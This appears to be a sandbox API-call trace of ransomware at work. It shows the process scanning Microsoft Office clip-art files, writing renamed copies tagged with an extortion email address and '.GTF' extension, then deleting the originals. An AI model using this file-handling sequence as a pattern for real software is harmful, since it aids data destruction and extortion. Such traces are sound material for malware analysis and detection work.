	[0083.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68
	[0083.895] lstrlenW (lpString=".dbf") returned 4
	[0083.895] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68
	[0083.895] lstrlenW (lpString=".1cd") returned 4
	[0083.895] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BL00923_.WMF") returned 68
	[0083.895] lstrlenW (lpString=".jpg") returned 4
	[0083.895] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.895] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0083.895] lstrlenW (lpString="BOATINST.WMF") returned 12
	[0083.895] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boatinst.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380
	[0083.898] GetFileSizeEx (in: hFile=0x380, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=29004) returned 1
	[0083.898] CloseHandle (hObject=0x380) returned 1
	[0083.898] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boatinst.wmf")) returned 0x220
	[0083.898] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boatinst.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0083.903] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boatinst.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0083.903] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.903] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.903] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boatinst.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0083.916] GetLastError () returned 0x0
	[0083.916] ReadFile (in: hFile=0x38c, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x714c, lpOverlapped=0x0) returned 1
	[0083.937] WriteFile (in: hFile=0x35c, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x7150, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x7150, lpOverlapped=0x0) returned 1
	[0083.938] ReadFile (in: hFile=0x38c, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.938] WriteFile (in: hFile=0x35c, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xec, lpOverlapped=0x0) returned 1
	[0083.939] SetEndOfFile (hFile=0x35c) returned 1
	[0083.939] CloseHandle (hObject=0x35c) returned 1
	[0083.940] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.940] SetEndOfFile (hFile=0x38c) returned 1
	[0083.941] CloseHandle (hObject=0x38c) returned 1
	[0083.941] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0083.942] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\boatinst.wmf")) returned 1
	[0083.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68
	[0083.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68
	[0083.942] lstrlenW (lpString=".doc") returned 4
	[0083.942] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.942] lstrlenW (lpString=".docx") returned 5
	[0083.942] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1
	[0083.942] lstrlenW (lpString=".pdf") returned 4
	[0083.942] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.942] lstrlenW (lpString=".xls") returned 4
	[0083.942] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.942] lstrlenW (lpString=".xlsx") returned 5
	[0083.942] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1
	[0083.942] lstrlenW (lpString=".ppt") returned 4
	[0083.942] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.942] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68
	[0083.942] lstrlenW (lpString=".zip") returned 4
	[0083.942] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.942] lstrlenW (lpString=".rar") returned 4
	[0083.942] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.942] lstrlenW (lpString=".bz2") returned 4
	[0083.942] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.942] lstrlenW (lpString=".7z") returned 3
	[0083.943] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68
	[0083.943] lstrlenW (lpString=".dbf") returned 4
	[0083.943] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68
	[0083.943] lstrlenW (lpString=".1cd") returned 4
	[0083.943] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68
	[0083.943] lstrlenW (lpString=".jpg") returned 4
	[0083.943] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68
	[0083.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68
	[0083.943] lstrlenW (lpString=".doc") returned 4
	[0083.943] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.943] lstrlenW (lpString=".docx") returned 5
	[0083.943] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1
	[0083.943] lstrlenW (lpString=".pdf") returned 4
	[0083.943] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.943] lstrlenW (lpString=".xls") returned 4
	[0083.943] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.943] lstrlenW (lpString=".xlsx") returned 5
	[0083.943] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1
	[0083.943] lstrlenW (lpString=".ppt") returned 4
	[0083.943] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68
	[0083.943] lstrlenW (lpString=".zip") returned 4
	[0083.943] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.943] lstrlenW (lpString=".rar") returned 4
	[0083.943] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.943] lstrlenW (lpString=".bz2") returned 4
	[0083.943] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.943] lstrlenW (lpString=".7z") returned 3
	[0083.943] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.943] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68
	[0083.943] lstrlenW (lpString=".dbf") returned 4
	[0083.943] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68
	[0083.944] lstrlenW (lpString=".1cd") returned 4
	[0083.944] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.944] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BOATINST.WMF") returned 68
	[0083.944] lstrlenW (lpString=".jpg") returned 4
	[0083.944] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.944] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0083.944] lstrlenW (lpString="BS00135_.WMF") returned 12
	[0083.944] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00135_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0083.944] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=1044) returned 1
	[0083.944] CloseHandle (hObject=0x38c) returned 1
	[0083.944] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00135_.wmf")) returned 0x220
	[0083.944] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00135_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0083.944] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00135_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0083.944] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.945] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.945] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00135_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0083.945] GetLastError () returned 0x0
	[0083.945] ReadFile (in: hFile=0x38c, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x414, lpOverlapped=0x0) returned 1
	[0083.965] WriteFile (in: hFile=0x35c, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x420, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x420, lpOverlapped=0x0) returned 1
	[0083.966] ReadFile (in: hFile=0x38c, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0083.966] WriteFile (in: hFile=0x35c, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xec, lpOverlapped=0x0) returned 1
	[0083.966] SetEndOfFile (hFile=0x35c) returned 1
	[0083.966] CloseHandle (hObject=0x35c) returned 1
	[0083.967] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.967] SetEndOfFile (hFile=0x38c) returned 1
	[0083.968] CloseHandle (hObject=0x38c) returned 1
	[0083.968] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0083.968] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00135_.wmf")) returned 1
	[0083.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68
	[0083.968] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68
	[0083.968] lstrlenW (lpString=".doc") returned 4
	[0083.968] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.968] lstrlenW (lpString=".docx") returned 5
	[0083.968] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.968] lstrlenW (lpString=".pdf") returned 4
	[0083.969] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.969] lstrlenW (lpString=".xls") returned 4
	[0083.969] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.969] lstrlenW (lpString=".xlsx") returned 5
	[0083.969] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.969] lstrlenW (lpString=".ppt") returned 4
	[0083.969] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68
	[0083.969] lstrlenW (lpString=".zip") returned 4
	[0083.969] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.969] lstrlenW (lpString=".rar") returned 4
	[0083.969] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.969] lstrlenW (lpString=".bz2") returned 4
	[0083.969] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.969] lstrlenW (lpString=".7z") returned 3
	[0083.969] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68
	[0083.969] lstrlenW (lpString=".dbf") returned 4
	[0083.969] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68
	[0083.969] lstrlenW (lpString=".1cd") returned 4
	[0083.969] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68
	[0083.969] lstrlenW (lpString=".jpg") returned 4
	[0083.969] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68
	[0083.969] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68
	[0083.969] lstrlenW (lpString=".doc") returned 4
	[0083.969] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0083.969] lstrlenW (lpString=".docx") returned 5
	[0083.969] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0083.969] lstrlenW (lpString=".pdf") returned 4
	[0083.969] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0083.969] lstrlenW (lpString=".xls") returned 4
	[0083.969] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0083.969] lstrlenW (lpString=".xlsx") returned 5
	[0083.970] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0083.970] lstrlenW (lpString=".ppt") returned 4
	[0083.970] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0083.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68
	[0083.970] lstrlenW (lpString=".zip") returned 4
	[0083.970] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0083.970] lstrlenW (lpString=".rar") returned 4
	[0083.970] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0083.970] lstrlenW (lpString=".bz2") returned 4
	[0083.970] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0083.970] lstrlenW (lpString=".7z") returned 3
	[0083.970] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0083.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68
	[0083.970] lstrlenW (lpString=".dbf") returned 4
	[0083.970] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0083.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68
	[0083.970] lstrlenW (lpString=".1cd") returned 4
	[0083.970] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0083.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00135_.WMF") returned 68
	[0083.970] lstrlenW (lpString=".jpg") returned 4
	[0083.970] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0083.970] lstrcmpiW (lpString1=".WMF", lpString2=".GTF") returned 1
	[0083.970] lstrlenW (lpString="BS00174_.WMF") returned 12
	[0083.970] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00174_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0083.971] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x265ff14 | out: lpFileSize=0x265ff14*=8366) returned 1
	[0083.971] CloseHandle (hObject=0x38c) returned 1
	[0083.971] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00174_.wmf")) returned 0x220
	[0083.971] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00174_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0083.971] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00174_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c
	[0083.971] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.971] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0083.971] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00174_.wmf.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0083.971] GetLastError () returned 0x0
	[0083.971] ReadFile (in: hFile=0x38c, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x20ae, lpOverlapped=0x0) returned 1
	[0084.119] WriteFile (in: hFile=0x35c, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0x20b0, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0x20b0, lpOverlapped=0x0) returned 1
	[0084.120] ReadFile (in: hFile=0x38c, lpBuffer=0x2ea0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x265fecc, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesRead=0x265fecc*=0x0, lpOverlapped=0x0) returned 1
	[0084.120] WriteFile (in: hFile=0x35c, lpBuffer=0x2ea0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x265fc94, lpOverlapped=0x0 | out: lpBuffer=0x2ea0020*, lpNumberOfBytesWritten=0x265fc94*=0xec, lpOverlapped=0x0) returned 1
	[0084.120] SetEndOfFile (hFile=0x35c) returned 1
	[0084.123] CloseHandle (hObject=0x35c) returned 1
	[0084.124] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1
	[0084.124] SetEndOfFile (hFile=0x38c) returned 1
	[0084.125] CloseHandle (hObject=0x38c) returned 1
	[0084.125] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0084.126] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs00174_.wmf")) returned 1
	[0084.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68
	[0084.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68
	[0084.912] lstrlenW (lpString=".doc") returned 4
	[0084.912] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.912] lstrlenW (lpString=".docx") returned 5
	[0084.912] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.912] lstrlenW (lpString=".pdf") returned 4
	[0084.912] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.912] lstrlenW (lpString=".xls") returned 4
	[0084.912] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.912] lstrlenW (lpString=".xlsx") returned 5
	[0084.912] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.912] lstrlenW (lpString=".ppt") returned 4
	[0084.912] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.912] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68
	[0084.913] lstrlenW (lpString=".zip") returned 4
	[0084.913] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.913] lstrlenW (lpString=".rar") returned 4
	[0084.913] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.913] lstrlenW (lpString=".bz2") returned 4
	[0084.913] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0084.913] lstrlenW (lpString=".7z") returned 3
	[0084.913] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0084.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68
	[0084.913] lstrlenW (lpString=".dbf") returned 4
	[0084.913] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0084.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68
	[0084.913] lstrlenW (lpString=".1cd") returned 4
	[0084.913] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0084.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68
	[0084.913] lstrlenW (lpString=".jpg") returned 4
	[0084.913] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0084.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68
	[0084.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68
	[0084.913] lstrlenW (lpString=".doc") returned 4
	[0084.913] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0084.913] lstrlenW (lpString=".docx") returned 5
	[0084.913] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0084.913] lstrlenW (lpString=".pdf") returned 4
	[0084.913] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0084.913] lstrlenW (lpString=".xls") returned 4
	[0084.913] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0084.913] lstrlenW (lpString=".xlsx") returned 5
	[0084.913] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0084.913] lstrlenW (lpString=".ppt") returned 4
	[0084.913] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0084.913] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS00174_.WMF") returned 68
	[0084.913] lstrlenW (lpString=".zip") returned 4
	[0084.913] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0084.913] lstrlenW (lpString=".rar") returned 4
	[0084.913] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0084.913] lstrlenW (lpString=".bz2") returned 4
	[0084.913] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
